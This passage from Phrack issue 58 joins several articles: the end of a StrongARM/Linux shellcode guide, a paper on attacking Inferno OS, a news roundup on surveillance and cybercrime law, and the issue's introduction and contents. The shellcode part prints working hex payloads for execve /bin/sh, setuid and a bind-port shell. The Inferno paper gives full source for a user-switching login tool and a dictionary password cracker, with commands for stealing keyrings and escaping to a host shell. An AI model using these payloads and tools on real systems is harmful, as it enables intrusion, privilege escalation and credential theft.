swi 0x900001
sss: mov r0, lr
Now r0 points to "swi 0x900001".
Loops
-----
Let's say we want to construct loop to execute some instruction three
times. Typical loop will be constructed this way:
mov r0, #3 <- loop counter
loop: ...
sub r0, r0, #1 <- fd = fd -1
cmp r0, #0 <- check if r0 == 0 already
bne loop <- goto loop if no (if Z flag != 1)
This loop can be optimised using subs instruction which will set Z flag
for us when r0 reach 0, so we can eliminate a cmp.
mov r0, #3
loop: ...
subs r0, r0, #1
bne loop
Nop instruction
---------------
On ARM "mov r0, r0" is used as nop, however it contain nulls so any other
"neutral" instruction have to be used when writting proof of concept codes
for vulnerabilities, "mov r1, r1" is just an example.
mov r1, r1 [ 0xe1a01001 ]
---[ Null avoiding
Almost any instruction which use r0 register generates 'zero' on ARM,
this can be usually solved by replacing it with other instruction or
using self-modifing code.
For example:
e3a00041 mov r0, #65 can be raplaced with:
e0411001 sub r1, r1, r1
e2812041 add r2, r1, #65
e1a00112 mov r0, r2, lsl r1 (r0 = r2 << 0)
Syscall can be patched in following way:
e28f1004 add r1, pc, #4 <- get address of swi
e0422002 sub r2, r2, r2
e5c12001 strb r2, [r1, #1] <- patch 0xff with 0x00
ef90ff0b swi 0x90ff0b <- crippled syscall
Store/Load multiple also generates 'zero', even if r0 register is not
used:
e92d001e stmfd sp!, {r1, r2, r3, r4}
In example codes presented in next section I used storing with link
register:
e04ee00e sub lr, lr, lr
e92d401e stmfd sp!, {r1, r2, r3, r4, lr}
---[ Example codes
/*
* 47 byte StrongARM/Linux execve() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x1c\x30\x8f\xe2" /* add r3, pc, #28 (0x1c) */
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
"\x07\x20\xc3\xe5" /* strb r2, [r3, #7 */
"\x04\x30\x8f\xe2" /* add r3, pc, #4 */
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
"\x01\x20\xc3\xe5" /* strb r2, [r3, #1] */
"\x0b\x0b\x90\xef" /* swi 0x90ff0b */
"/bin/sh";
/*
* 20 byte StrongARM/Linux setuid() shellcode
* funkysh
*/
char shellcode[]= "\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x04\x10\x8f\xe2" /* add r1, pc, #4 */
"\x12\x02\xa0\xe1" /* mov r0, r2, lsl r2 */
"\x01\x20\xc1\xe5" /* strb r2, [r1, #1] */
"\x17\x0b\x90\xef"; /* swi 0x90ff17 */
/*
* 203 byte StrongARM/Linux bind() portshell shellcode
* funkysh
*/
char shellcode[]= "\x20\x60\x8f\xe2" /* add r6, pc, #32 */
"\x07\x70\x47\xe0" /* sub r7, r7, r7 */
"\x01\x70\xc6\xe5" /* strb r7, [r6, #1] */
"\x01\x30\x87\xe2" /* add r3, r7, #1 */
"\x13\x07\xa0\xe1" /* mov r0, r3, lsl r7 */
"\x01\x20\x83\xe2" /* add r2, r3, #1 */
"\x07\x40\xa0\xe1" /* mov r4, r7 */
"\x0e\xe0\x4e\xe0" /* sub lr, lr, lr */
"\x1c\x40\x2d\xe9" /* stmfd sp!, {r2-r4, lr} */
"\x0d\x10\xa0\xe1" /* mov r1, sp */
"\x66\xff\x90\xef" /* swi 0x90ff66 (socket) */
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
"\x35\x70\xc6\xe5" /* strb r7, [r6, #53] */
"\x14\x20\xa0\xe3" /* mov r2, #20 */
"\x82\x28\xa9\xe1" /* mov r2, r2, lsl #17 */
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
"\x14\x40\x2d\xe9" /* stmfd sp!, {r2,r4, lr} */
"\x10\x30\xa0\xe3" /* mov r3, #16 */
"\x0d\x20\xa0\xe1" /* mov r2, sp */
"\x0d\x40\x2d\xe9" /* stmfd sp!, {r0, r2, r3, lr} */
"\x02\x20\xa0\xe3" /* mov r2, #2 */
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
"\x0d\x10\xa0\xe1" /* mov r1, sp */
"\x66\xff\x90\xef" /* swi 0x90ff66 (bind) */
"\x45\x70\xc6\xe5" /* strb r7, [r6, #69] */
"\x02\x20\x82\xe2" /* add r2, r2, #2 */
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
"\x66\xff\x90\xef" /* swi 0x90ff66 (listen) */
"\x5d\x70\xc6\xe5" /* strb r7, [r6, #93] */
"\x01\x20\x82\xe2" /* add r2, r2, #1 */
"\x12\x07\xa0\xe1" /* mov r0, r2, lsl r7 */
"\x04\x70\x8d\xe5" /* str r7, [sp, #4] */
"\x08\x70\x8d\xe5" /* str r7, [sp, #8] */
"\x66\xff\x90\xef" /* swi 0x90ff66 (accept) */
"\x10\x57\xa0\xe1" /* mov r5, r0, lsl r7 */
"\x02\x10\xa0\xe3" /* mov r1, #2 */
"\x71\x70\xc6\xe5" /* strb r7, [r6, #113] */
"\x15\x07\xa0\xe1" /* mov r0, r5, lsl r7 */
"\x3f\xff\x90\xef" /* swi 0x90ff3f (dup2) */
"\x01\x10\x51\xe2" /* subs r1, r1, #1 */
"\xfb\xff\xff\x5a" /* bpl */
"\x99\x70\xc6\xe5" /* strb r7, [r6, #153] */
"\x14\x30\x8f\xe2" /* add r3, pc, #20 */
"\x04\x30\x8d\xe5" /* str r3, [sp, #4] */
"\x04\x10\x8d\xe2" /* add r1, sp, #4 */
"\x02\x20\x42\xe0" /* sub r2, r2, r2 */
"\x13\x02\xa0\xe1" /* mov r0, r3, lsl r2 */
"\x08\x20\x8d\xe5" /* str r2, [sp, #8] */
"\x0b\xff\x90\xef" /* swi 0x900ff0b (execve) */
"/bin/sh";
---[ References:
[1] ARM Architecture Reference Manual - Issue D,
2000 Advanced RISC Machines LTD
[2] Intel StrongARM SA-1110 Microprocessor Developer's Manual,
2001 Intel Corporation
[3] Using the ARM Assembler,
1988 Advanced RISC Machines LTD
[4] ARM8 Data Sheet,
1996 Advanced RISC Machines LTD
|=[ EOF ]=---------------------------------------------------------------=|
==============
Page 8/10
==============
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x0c of 0x0e
|=------------------=[ The Security of Inferno OS ]=---------------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ dalai ]=-----------------------=|
This paper goes over the security semantics of Vita Nuova's Inferno OS,
and some means by which they may be circumvented. Inferno is a small,
embedded OS intended to run on devices which may take advantage of its
distributed aspects. The example Bell Labs likes to use is the T.V.
set-top box. Anything which relies on remote data to run is an Inferno
candidate. Other potential uses include networked PDA's, and local
broadband access hubs (ie for cablemodem, or ION).
This paper is about security and is not an introduction to Inferno. The
Inferno Documents and man pages have been made available for public
consumption and are located at Vita Nuova's website,
http://www.vitanuova.com. Also, notice the change with my email address.
Insomnia.org get's DoS'd so they shut out their users. Go figure.
Lucent has mentioned their intent to utilize Inferno in some of it's up
and coming products. Firewalls and routers are already being built with
Inferno, and potential future use includes telecom equipment, and
dedicated(cheap) Internet terminals. Some outside companies are also taking
interest in Inferno, but noone can predict how much it will be used in the
future, or how successful it will be.
There are many reasons why you'd enjoy playing with Inferno. If it gains
the market saturation that Vita Nuova hopes for, you will have a vast
network of devices to play with. The industry hopes to 'e-nable'(tm) nearly
everything that runs off of power. Vehicles, large household appliances,
probably even toasters will shortly require some kind of embedded OS to
drive their superfluous hardware. Inferno is one of the answers, and
probably the most robust.
90% of anything mentioning Inferno and security in the same context talks
about the encryption and authentication of network messages. This is all
fine and dandy, but there's much more to be considered, especially in an
internetworked OS. And Inferno is about networking. There is little point
in a stand alone host.
And thus networking Inferno is fundamental. Here's a little info to get
your hosts up and talking, preferably to another Inferno-based machine.
The services to be run by Inferno upon execution of the server binary,
'lib/srv', are contained in /services/server/config. By default the file
contains these services:
styx 6666/tcp # Main file service
mpeg 6667/tcp # Mpeg stream
rstyx 6668/tcp # Remote invocation
infdb 6669/tcp # Database connection
infweb 6670/tcp # inferno web server
infsigner 6671/tcp # inferno signing services
infcsigner 6672/tcp # inferno signing services
inflogin 6673/tcp # inferno login service
virgil 2202/udp virgild # inferno info
The file /services/cs/services functions as the Unix /etc/services, and
can be used to reference the above service names with port numbers.
'netstat' does for Inferno something similar to what it does for Unix. If
run under a Unix, copy the contents of /services/cs/services to your
/etc/services file.
In order for Inferno to successfully talk to other hosts you must start
the connection server, 'lib/cs'. This daemon translates network names(in
the form of protocol!host!port) into a namespace network presence. You can
specify the services 'lib/srv' is to run by editing the file
/services/server/config.
You can get two hosts up and talking with these steps, assuming that the
hosting OS' are connected and can communicate. Hostname translation, IP
interface selection, and etc. is decided upon by the hosting OS.
1. DNS: 'echo ip.of.dns.server > /services/dns/db', rebuild
/services/dns/db. There's an example already in there.
2. CS: edit /services/cs/db, then 'lib/cs'
3. SRV: edit /services/server/config, then 'lib/srv' (Run on server)
4. LOGINS: Run 'changelogin ' on the server, this must be done for
each user who will be logging in.
5. KEYS: Run 'getauthinfo default' on the hosts to create the initial
certificates. Do this for both the server and the client. Do
'getauthinfo ' on the client. Note that this is for the
default certificate. To get one for use with a particular ip, do
'getauthinfo tcp!hostname'.
6. DONE: You may then use the Inferno network services, for instance you
may mount a remote computer under your namespace:
'mount tcp!host /n/remote'
to verify:
'lc /n/remote/'
or:
'netstat'
And it's that easy folks. You may want your 'lib/cs', 'lib/srv', and
mount commands to be done automatically at boot. The 'mount' is just an
example, there's an infinite number of things you can do with your two
hosts. You may even opt to mobilize your lego's[1]. Read the man pages.
*****
Because of the design of Inferno, and the way it is meant to be applied,
security can be easily circumvented, yielding unauthorized access on remote
machines, and access to files on the current machine that you shouldn't be
able to touch.
I should say something about hosted Inferno before I forget. Because it
will rely on the hosting OS' IP mechanism's, the sockets created by Inferno
will behave under pressure as one created by the host. While a tcp
connect() scan will dirty up the Inferno console with messages, if the host
OS is Win32 and someone's invoked 'nmap -sF' against it then Inferno's
services will be invisible along with Windows'. Likewise, all normal system
logging still applies to the ports Inferno is using. Understand?
The OS uses a virtual machine model to run its executables, which are
typically coded in the Inferno specific language Limbo. The virtual machine
Dis is secured by the virtue of type checking. Perms under inferno are like
those in Unix. 'ls -l' will show you what I mean. Unlike Unix, namespace
resources created by a private application are not by default made
available to anyone else except the children of that process. Thus we see
that The Labs have put some effort into securing Inferno.
Cryptography is integrated into the OS. Messages exchanged between two
Inferno hosts can be encrypted, or authenticated and plaintext. It's built-
in cryptographic algorithms are, according to the manual:
- SHA/MD5 hash
- Elgamal public key for signature systems
- RC4
- DES
- Diffie-Hellman for key exchange
Authentication relies on the public-key aspects of the above. Isn't that
super? He who believes cryptography is the end-all of security measures is
sad indeed. Call me lame or whatever, I'm just not interested in crypto.
Here I will share with you my techniques for upping your enjoyment of
Inferno. Check it out, no smoke or mirrors. No strings. If you have console
access you have the Inferno, so all of my stuff may be done via remote
login, you can do the Windows thing both locally and remotely in the case
of 95/98. Test boxes follow the suggested installation perm's.
1) Windows
If the Inferno is hosted on Windows 95/98, it won't even try to protect
key files. Even if it did, we could just grab what we wanted from Windows,
with the default path to the Inferno namespace being C:\USERS\INFERNO.
Observe.
stacey; cat /dev/user
inferno
stacey; mount tcp!jessica /n/remote
stacey; cd /n/remote/usr/dalai/keyring
stacey; lc
default
stacey; cp default /usr/inferno
stacey;
And then we can login as dalai from a third party box, or log into the
Window's machine's server. Not as big a deal as it seems, considering how
Inferno is supposed to be run. We can also use this to get the password
file, /keydb/password.
2) clogon
Attached is my command line port of the GUI login utility provided by
Inferno in the distribution. I call it clogon. Now you can't say I've never
done anything for you. This does basically the same thing as wm/logon, but
is done from the text mode console. Inferno will allow you to switch your
user name once per session.
stacey; cat /dev/user
inferno
stacey; ./clogon -u dalai
stacey; cat /dev/user
dalai
stacey;
3) hellfire
Hellfire is my Inferno password cracker. The password file is located
under /keydb/password, and contains the list of users which will be logging
in remotely to the machine. The Hellfire source can be found below, or at
the Trauma Inc. page.
jessica; hellfire -d dict -u luser
hellfire, by dalai(dalai@swbt.net)
A Traumatized Production.
Cracking...
Password is "victim"
Have a nice day.
jessica;
You don't need that password for the local machine, however you may use
it in conjunction with luser's keys to gain his access to a remote machine.
And it will work the same way with more mundane distributed services. The
day the utility companies rely on Inferno is the day I hook my computer up
to the washer and dryer.
******
Inferno may run stand alone, or hosted on another OS(Plan9, Win32,
several Unix's). When hosted, there are quite often opportunities not only
to hack Inferno from the host, but also the host from Inferno.
By default the Inferno emulator(emu) is started with no login prompt.
This is fine for me, because I use my host OS's login to get into Inferno.
You can have Inferno run a specified program via the emu command line, and
thus enable selective login.
For starters, we can execute a command on the host OS as follows:
stacey; bind -a '#C' /
stacey; os '/bin/sh -i'
devcmd: /bin/sh -i pid 12600
sh: no job control in this shell
sh-2.03$
You have the perm's given to the user and group that Inferno was
installed under, the suggested is user 'Inferno' and group 'inf'. The
manual says that if some careless person started Inferno as root, 'os' will
run as the caller's Inferno username. If that username does not exist on
the hosting system, then 'cmd' will run as user/nobody.
Yes, I'm thinking what you're thinking. According to the manual, IF
Inferno is installed under root, AND you change your Inferno user name to
that of another user on the host OS, THEN you will become that user on the
host. But what if that user doesn't have an account on the Inferno? With a
minor modification clogon will allow you to be whatever user you choose,
you may use any name at all.
Note that on Window's systems the 'os' argument must be a binary
executable in the current path. Things built into the regular Windows
interpreter(command) won't work. Like Unix, the command is run under the
same user id that started emu. Also, you can make a dos/windows/iso9660 fs
visible under Inferno.
******
After becoming curious with Inferno, I downloaded and played with it for
awhile. I became interested enough to write this paper, and i'm overall
satisfied with the system. Who knows, I may even use it in some upcoming
projects. If you like the syntax and feel of Inferno but want a more
production-type OS, see Plan9.
Notes:
[1] - Styx on a Brick: http://www.vitanuova.com/inferno/lego1.html
------------------------------ clogon.b ------------------------------------
# clogon
# port of wm/logon to the command line
#
# dalai(dalai@swbt.net)
# http://www.swbt.net/~dalai
implement clogon;
include "sys.m";
sys: Sys;
include "draw.m";
include "sh.m";
include "newns.m";
clogon: module
{
init: fn(nil: ref Draw->Context, argv: list of string);
};
init(nil: ref Draw->Context, argv: list of string)
{
sys = load Sys Sys->PATH;
sys->print("clogon, by dalai(dalai@swbt.net)\n");
sys->pctl(sys->FORKNS|sys->FORKFD, nil);
progdir := "#p/" + string sys->pctl(0, nil);
kfd := sys->open(progdir+"/ctl", sys->OWRITE);
if(kfd == nil) {
sys->sprint("cannot open %s: %r", progdir+"/ctl");
sys->raise("fail:bad prog dir");
}
usr := "";
if(argv != nil) {
argv = tl argv;
if(argv != nil && hd argv == "-u") {
argv = tl argv;
if(argv != nil) {
usr = hd argv;
argv = tl argv;
}
}
}
if (usr == nil || !logon(usr)) {
sys->print("usage: clogon -u user\n");
}
(ok, nil) := sys->stat("namespace");
if(ok >= 0) {
ns := load Newns Newns->PATH;
if(ns == nil)
sys->print("failed to load namespace builder\n");
else if ((nserr := ns->newns(nil, nil)) != nil){
sys->print("error in user namespace file: %s", nserr);
sys->print("\n");
}
}
sys->fprint(kfd, "killgrp");
errch := chan of string;
spawn exec(argv, errch);
err := <-errch;
if (err != nil) {
sys->fprint(stderr(), "logon: %s\n", err);
sys->raise("fail:exec failed");
}
}
exec(argv: list of string, errch: chan of string)
{
sys->pctl(sys->NEWFD, 0 :: 1 :: 2 :: nil);
e := ref Sys->Exception;
if (sys->rescue("fail:*", e) == Sys->EXCEPTION) {
sys->rescued(Sys->ONCE, nil);
exit;
}
argv = "/dis/sh/sh.dis" :: "-i" :: "-n" :: nil;
cmd := load Command hd argv;
if (cmd == nil) {
errch <-= sys->sprint("cannot load %s: %r", hd argv);
} else {
errch <-= nil;
cmd->init(nil, argv);
}
}
logon(user: string): int
{
userdir := "/usr/"+user;
if(sys->chdir(userdir) < 0) {
sys->print("There is no home directory for that user mounted on this machine\n");
return 0;
}
#
# Set the user id
#
fd := sys->open("/dev/user", sys->OWRITE);
if(fd == nil) {
sys->print("failed to open /dev/user: %r\n");
return 0;
}
b := array of byte user;
if(sys->write(fd, b, len b) < 0) {
sys->print("failed to write /dev/user with error: %r\n");
return 0;
}
return 1;
}
stderr(): ref Sys->FD
{
return sys->fildes(2);
}
------------------------------ clogon.b ------------------------------------
------------------------------ hellfire.b ----------------------------------
# hellfire.b : /keydb/password decoder
#
# by: dalai(dalai@swbt.net)
# http://www.swbt.net/~dalai
implement hellfire;
include "sys.m";
sys: Sys;
include "draw.m";
draw: Draw;
include "bufio.m";
bufio: Bufio;
Iobuf: import bufio;
include "string.m";
str: String;
include "arg.m";
arg: Arg;
include "keyring.m";
keyring: Keyring;
include "security.m";
pass: Password;
hellfire: module
{
init: fn(ctxt: ref Draw->Context, argv: list of string);
usage: fn();
finish: fn(temp: array of byte);
};
init(nil: ref Draw->Context, argv: list of string)
{
sys = load Sys Sys->PATH;
draw = load Draw Draw->PATH;
bufio = load Bufio Bufio->PATH;
str = load String String->PATH;
arg = load Arg Arg->PATH;
pass = load Password Password->PATH;
keyring = load Keyring Keyring->PATH;
sys->print("\nhellfire, by dalai(dalai@swbt.net)\n");
sys->print("A Traumatized Production.\n");
if(argv == nil)
usage();
dfile := pfile := uid := "";
arg->init(argv);
while((tmp := arg->opt()) != 0)
case tmp{
'd' => dfile = arg->arg();
'u' => uid = arg->arg();
* => usage();
}
if(dfile == nil || uid == nil)
usage();
dfd := bufio->open(dfile, bufio->OREAD);
if(dfd == nil){
sys->print("Could not open %s.\n", dfile);
exit;
}
pw := pass->get(uid);
if(pw == nil){
sys->print("Could not get entry for %s.\n", uid);
exit;
}
sys->print("Cracking...\n\n");
pwbuff2 := array[keyring->SHAdlen] of byte;
pwbuff := array[keyring->SHAdlen] of byte;
# try some common passwords
for(n := 1; n < 4; n++){
if(n == 1)
pwbuff = array of byte "password";
if(n == 2)
pwbuff = array of byte uid;
if(n == 3)
pwbuff = array of byte "";
keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil);
temp1 := string pwbuff2;
temp2 := string pw.pw;
if(temp2 == temp1){
finish(pwbuff);
}
}
# if not, try the dictionary
for(dentry := "" ; ;){
dentry = dfd.gets('\n');
if(dentry == nil)
break;
if(dentry[len dentry-1] == '\n'){
heh := "";
(heh, nil) = str->splitl(dentry, "\n");
dentry = heh;
}
pwbuff = array of byte dentry;
keyring->sha(pwbuff, keyring->SHAdlen, pwbuff2, nil);
temp1 := string pwbuff2;
temp2 := string pw.pw;
if(temp2 == temp1){
finish(pwbuff);
}
}
sys->print("done.\n");
sys->print("Have a nice day.\n");
exit;
}
finish(pwbuff: array of byte)
{
sys->print("Password is \"%s\"\n", string pwbuff);
sys->print("Have a nice day.\n");
exit;
}
usage()
{
sys->print("usage: hellfire -d dictionary -u user\n");
exit;
}
----------------------------- hellfire.b ----------------------------------
|=[ EOF ]=---------------------------------------------------------------=|
==============
Page 9/10
==============
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x0d of 0x0e
|=----------------=[ P H R A C K W O R L D N E W S ]=------------------=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ phrackstaff ]=---------------------------=|
Content in this news does not reflect the opinion of any particluar
phrack staff member. The news is exclusively done by the scene and
for the scene.
In cleartext this means that we honestly do not care if you feel
uncomfortable or offended by the news - in fact PWN is a place many
people use to express _their_ opinion and to tell the world about
what's going wrong.
You have the chance to complain about this at: loopback@phrack.org.
If you feel the need to submit news, do so at: disorder@phrack.org.
If you think you are smart enough to moderate the PWN in Phrack #59 then
take a deep breath and think about it again. If you still think you can
make it, mail us at phrackstaff@phrack.org.
Today's PWN is dedicated to the MPAA, the FBI, SecretService
and any other world domination organization.
0x01: cDc media control
0x02: Hack-orist
0x03: First international treaty on cybercrime
0x04: CALEA - how we pay others to spy on us
0x05: various news
|=[ 0x01 - cDc media control ]=------------------------------------------=|
At Hope2000/NYC cDc leadership announced a new project of building an
infrastructure of tunnels and access points to grant unrestricted access
to the internet to users from foreign countries who are legally not allowed
to surf outside the government applied borders of 'their' internet.
China was one of their targets.
The very same group announced on the 26th of Nov their cooperation
with the FBI to plan, build and deploy best-of-breed electronic surveillance
software.
http://cultdeadcow.com/details.php3?listing_id=425
The story rushed through the newstickers of the world and was soon
picked up by other news agencies...not realizing the excellent work of
satire by cDc.
http://www.vnunet.com/News/1127639
Amazing how easy it is to bluff big new agencies.....no comment.
FBI's new toy (Magic Lantern, virus-like keystroke logger):
URL: http://www.msnbc.com/news/660096.asp?cp1=1
Reports are coming in about the new FBI traffic matching device
becoming fully operational. Traffic matching devices are long known to
various agencies but have not been used widely across the internet.
The basic idea is to build a network of drones/sniffers which records
traffic 'waves' for a limited time period. A master can search through
all drones/sniffers and determine the path of a 'wave' (e.g traffic peak)
through the internet. The results are the same for crypted (ssh, ipsec, ..)
or bounced connections - as long as traffic flows from the source to
the destination. Padding the traffic with random data does not fool the
device. This is basic knowledge for anyone familiar with wavelets
transformation (Random padded data would just result in a few more
'wavelet stars' in a visualized wavelet transformation).
SSH in line mode (axssh) is not enough to fool the device. Splitting
the traffic stream into many fake streams may fool the device. The
required amount of traffic is most often not acceptable.
URL: http://hes.iki.fi/pub/ham/unix/utils/
URL: http://www.wavelets.com
|=[ 0x02 - Hack-orist ]=--------------------------------------------------=|
Russ Cooper want all of you virus writers/Hackorists in jail:
http://www.wired.com/news/politics/0,1283,49313-2,00.html
Hackers face life imprisonment under 'Anti-Terrorism' Act:
http://www.securityfocus.com/news/257
Electronic Pearl Harbor and the fear against Super-Hackers:
http://www.securityfocus.com/news/280
Random quotes:
"Most of the terrorism offenses are violent crimes, or crimes involving
chemical, biological, or nuclear weapons. But the list also includes the
provisions of the Computer Fraud and Abuse Act that make it illegal to
crack a computer for the purpose of obtaining anything of value [..].
Likewise, launching a malicious program [..] are included in the
definition of terrorism."
"To date no terrorists are known to have violated the Computer Fraud and
Abuse Act."
"... the five year statute of limitations for hacking would be abolished
retroactively -- allowing computer crimes committed decades ago to be
prosecuted today -- and the maximum prison term for a single conviction
would be upped to life imprisonment. There is no parole in the federal
justice system.
Those convicted of providing "advice or assistance" to cyber crooks, or
harboring or concealing a computer intruder, would face the same legal
repercussions as an intrude."
|=[ 0x03 - First international treaty on cybercrime ]=-------------------=|
The Council of Europe (CoE) published their latest elaboration of
the Cybercrime treaty. The Council has been established after World War II
in 1949. Since then the CoE takes care of the preparation and the
negotiation of European conventions and agreements. In its 52 years of
existence the CoE published 185 treaties (one paper every 4 month - that's
what you pay taxes for). Most of the treaties are publicly available on the
internet - with all classified information stripped out (yes, you also
pay taxes for the dude who strips out the information we are all most
interested in).
Let's sum up what this 'First international treaty on cybercrime' is about:
- Anti-warez, computer-related fraud, violation of network security.
- Powers and procedures such as the search of computer networks
and interception.
- Fostering international co-operation.
- As written in the preamble: "to protect the society against cybercrime".
- (Article 19/2.2c) Allows 'competent authorities' to modify or delete
data on a suspect's computer.
- Force different ISP's to log and disclose traffic-data of a suspect
up to a maximum of 90 days (Article 16 + 20/1b.ii + 21).
- Extradition of suspects who are punishable under these laws (A 24/1-7).
- Mutual assistance to the widest extent possible. A29 explicitely
gives a requesting party the right to order a requested party to
seizure or disclose computer data.
The treaty has been opened for signature on 23/11/01. 27 out of 43
countries gave their signature on the same day (including UK, Netherlands,
Italy, Iceland, Germany, France, ...). Four non-member States of the
Council of Europe signed the same as a sign of respect and support (USA,
South Africe, Japan and Canada).
The entire treaty is available at:
http://conventions.coe.int/Treaty/EN/projets/FinalCybercrime.htm
|=[ 0x04 - Communications Assistance for Law Enforcement Act ]=----------=|
aka CALEA [1].
'The mission of the CALEA Implementation Section is to preserve
Law Enforcement's ability to conduct lawfully-authorized electronic
surveillance while preserving public safety, the public's right to
privacy, and the telecommunications industry's competitiveness.'
CARL CAMERON, FOX NEWS CORRESPONDENT (voice-over): The company is Comverse
Infosys, a subsidiary of an Israeli-run private telecommunications firm,
with offices throughout the U.S. It provides wiretapping equipment for law
enforcement. Here's how wiretapping works in the U.S.
Every time you make a call, it passes through the nation's elaborate network
of switchers and routers run by the phone companies. Custom computers and
software, made by companies like Comverse, are tied into that network to
intercept, record and store the wiretapped calls, and at the same time
transmit them to investigators.
The manufacturers have continuing access to the computers so they can
service them and keep them free of glitches. This process was authorized by
the 1994 Communications Assistance for Law Enforcement Act, or CALEA.
Senior government officials have now told Fox News that while CALEA made
wiretapping easier, it has led to a system that is seriously vulnerable to
compromise, and may have undermined the whole wiretapping system.
Indeed, Fox News has learned that Attorney General John Ashcroft and FBI
Director Robert Mueller were both warned Oct. 18 in a hand-delivered letter
from 15 local, state and federal law enforcement officials, who complained
that "law enforcement's current electronic surveillance capabilities are
less effective today than they were at the time CALEA was enacted."
Congress [probably means Comverse --DBM] insists the equipment it installs
is secure. But the complaint about this system is that the wiretap
computer programs made by Comverse have, in effect, a back door through
which wiretaps themselves can be intercepted by unauthorized parties.
Adding to the suspicions is the fact that in Israel, Comverse works closely
with the Israeli government, and under special programs, gets reimbursed
for up to 50 percent of its research and development costs by the Israeli
Ministry of Industry and Trade. But investigators within the DEA, INS and
FBI have all told Fox News that to pursue or even suggest Israeli spying
through Comverse is considered career suicide.
And sources say that while various F.B.I. inquiries into Comverse have been
conducted over the years, they've been halted before the actual equipment
has ever been thoroughly tested for leaks. A 1999 F.C.C. document
indicates several government agencies expressed deep concerns that too many
unauthorized non-law enforcement personnel can access the wiretap system.
And the FBI's own nondescript office in Chantilly, Virginia that actually
oversees the CALEA wiretapping program, is among the most agitated about
the threat.
But there is a bitter turf war internally at F.B.I. It is the FBI's office
in Quantico, Virginia, that has jurisdiction over awarding contracts and
buying intercept equipment. And for years, they've thrown much of the
business to Comverse. A handful of former U.S. law enforcement officials
involved in awarding Comverse government contracts over the years now work
for the company.
Numerous sources say some of those individuals were asked to leave
government service under what knowledgeable sources call "troublesome
circumstances" that remain under administrative review within the Justice
Department.
Comments from Mr. Dean, Vice President for Technology Policy:
"From the beginning, both the political Right and Left warned Congress
and the FBI that they were making a huge mistake by implementing CALEA.
That it would jeopardize the security of private communications,
whether it's between a mother and her son or between government
officials. The statement just issued by law enforcement agencies has
confirmed our worst fears."
Do you want to know more?
[1] http://www.askcalea.net/
|=[ 0x05 - various news ]=-----------------------------------------------=|
Uncle Sam wants you to become a 'High-Tech-Crime-Network certificated
investigator' today! I thought the CISSP requirements cant be topped....
http://www.htcn.org/
2001 - Captured the flag
ssh and login exploitable
heh i remember joking about these things a few years ago
DeCSS has been ruled "speech" by a California State Appeals Court,
overturning the lower court ruling. Good news!
http://www.wired.com/news/print/0,1294,48075,00.html
http://www.courtinfo.ca.gov/courts/courtsofappeal/6thDistrict/
http://slashdot.org/yro/01/11/01/1953236.shtml
http://www.theregister.co.uk/content/55/22613.html
Operation Buccaneer (aka Operation Sundevil-II).
(announced as the 'multi billion dollar bust' in the media).
http://www.theregister.co.uk/content/4/23329.html
http://www.wikipedia.com/wiki/DrinkOrDie
|=[ EO PWN ]=------------------------------------------------------------=|
==============
Page 10/10
==============
phrack58/1.txt
Fri Jul 01 13:24:49 2022
1
==Phrack Inc.==
Volume 0x0b, Issue 0x3a, Phile #0x01 of 0x0e
,
,
,
|\ ,__
__, /|
,
|\
\/
‘.
.’
\/
/|
\ ‘-.:.
‘\
/’
.:.-’ /
‘-.__ ‘\=====|
|=====/’__.-’
/=‘’/
^_\
//==// // // //==// //|| //= //
/_^
\’‘=\
.’
/\
.=) //==// //==// //==// //=|| //
//=// (=.
/\
’.
.-’ .’| ’-(/_| //
// // // || // || \\= // ||
|_\)-’ |’. ’_.
.’ __( \ .’‘
‘’. / )__ ’.
/_.’‘ ‘. |‘
‘| .’ ‘’._\
jgs \ |
| /
|/
\|
+++ *Weep Weep Weep* Skybird, this is Dropkick with a red dash alpha message
+++ in two parts. -Break, break. Red dash alpha.
+++ Romeo-Oscar-November-Charlie-Tango-Tango-Lima-Alpha
+++ Authentication two-two-zero-zero-four-zero-delta-lime.
I have a valid message. Stand by
to authenticate.
I agree with authentication also, sir.
Entering launch code: DLG-2209-TVX
Launch code confirmed.
Holy shit!
All right lets do it. Enable missiles. Target selection............. complete.
Time on target selection..... complete.
Yield selection.............. complete.
I need to get someone at the phone.
Number one enabled, two, three, four,
SAC. Try SAW HQ on the HF.
five, ..ten. All missiles enabled.
That’s not the correct procedure.
Screw the procedure. I want somebody
on the goddamn phone before I kill
20 million
SIR. We have a launch order. Put your
hand on the key, sir!
I’m sorry. I’m so sorry.
SIR! We are at launch - TURN
YOUR KEY, sir!
(c) Wargames
|=[ Table of Contents ]=-------------------------------------------------=|
0x01 Introduction
Phrack Staff 0x08 kb
0x02 Loopback
Phrack Staff 0x0b kb
0x03 Signalnoise
Phrack Staff 0x18 kb
0x04 Advanced return-into-lib(c) exploits (PaX case study)
nergal 0x48 kb
0x05 Runtime binary encryption
grugq & scut 0x61 kb
0x06 Advances in kernel hacking
palmers 0x1d kb
0x07 Linux on-the-fly kernel patching without LKM
sd & devik 0x95 kb
0x08 Linux x86 kernel function hooking emulation
mayhem 0x1a kb
0x09 RPC without borders
stealth 0x10 kb
0x0a Developing StrongARM/Linux shellcode
funkysh 0x11 kb
0x0b HP-UX (PA-RISC 1.1) Overflows
zhodiac 0x16 kb
0x0c The Security of Vita Vuova’s Inferno OS
dalai 0x11 kb
0x0d Phrack World News
Phrack Staff 0x0c kb
0x0e Phrack magazine extraction utility
Phrack Staff 0x15 kb
|=-----------------------------------------------------------------------=|
This phrack issue, as well as the last two, comes without a prophile.
This situation will not change unless we find someone who is worth a
prophile.
The latest and all previous phrack issues are available online at
http://www.phrack.org. Readers without web access can subscribe to the
phrack-distrib mailinglist. Every new phrack is sent as email attachment
to this list - shouts to the monkeys at nasa.gov who complained about
their network situation (email only) but did not want to miss the latest
